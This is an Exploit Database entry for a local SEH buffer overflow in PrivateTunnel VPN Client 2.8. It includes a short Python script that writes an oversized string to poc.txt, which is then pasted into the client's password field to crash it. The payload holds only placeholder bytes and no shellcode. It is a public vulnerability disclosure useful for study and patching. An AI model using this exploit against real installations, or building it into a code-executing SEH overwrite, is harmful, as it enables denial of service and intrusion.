PrivateTunnel Client 2.8 – Local Buffer Overflow (SEH)

• Exploit Database
• 20 阅读

• 作者： Muhann4d
  日期： 2017-04-25
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/41916/

• #!/usr/bin/python
  # Exploit Title : Private Tunnel VPN Client 2.8 - Local Buffer Overflow (SEH)
  # Date: 25/04/2017
  # Exploit Author: Muhann4d
  # Vendor Homepage : https://www.privatetunnel.com
  # Software Link : https://swupdate.openvpn.org/privatetunnel/client/privatetunnel-win-2.8.exe
  # Affected Versions : 2.8 & 2.7 
  # Category: Denial of Service (DoS) Local
  # Tested on OS: Windows 7 SP1 32bit 64bit
  # Proof of Concept: run the exploit, copy the contents of poc.txt, paste it in the password field and press Login.
  
  
  junkA = "\x41" * 1996
  nSEH = "\x42" * 4
  SEH = "\x43" * 4
  junkD = "\x44" * 9000
  f = open ("poc.txt", "w")
  f.write(junkA + nSEH + SEH + junkD)
  f.close()